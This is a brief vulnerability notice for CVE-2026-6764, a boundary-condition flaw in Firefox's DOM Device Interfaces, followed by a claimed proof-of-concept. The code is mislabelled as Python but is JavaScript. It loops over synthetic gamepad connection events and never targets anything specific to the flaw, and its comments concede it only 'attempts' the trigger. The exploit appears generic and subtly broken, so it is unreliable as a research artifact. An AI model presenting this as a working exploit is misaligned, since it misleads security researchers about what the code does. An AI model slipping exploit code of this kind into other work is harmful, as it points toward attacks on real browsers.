Incorrect boundary conditions in the DOM: Device Interfaces component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-6764: DOM Device Interfaces Boundary Condition
// This script attempts to trigger the vulnerability by manipulating device connection events.
function trigger_vuln() {
try {
// Iterate rapidly to trigger boundary condition in Device Interfaces
var devices = navigator.getGamepads();
for (var i = 0; i < 1000; i++) {
// Simulate connection/disconnection events or buffer manipulation
// specific to the underlying bug in DOM Device Interfaces
var mock_device = new GamepadEvent('gamepadconnected', { gamepad: { index: i - 1 } });
window.dispatchEvent(mock_device);
}
console.log("[+] Attempted to trigger boundary condition.");
} catch (e) {
console.log("[-] Exception caught: " + e.message);
}
}
trigger_vuln();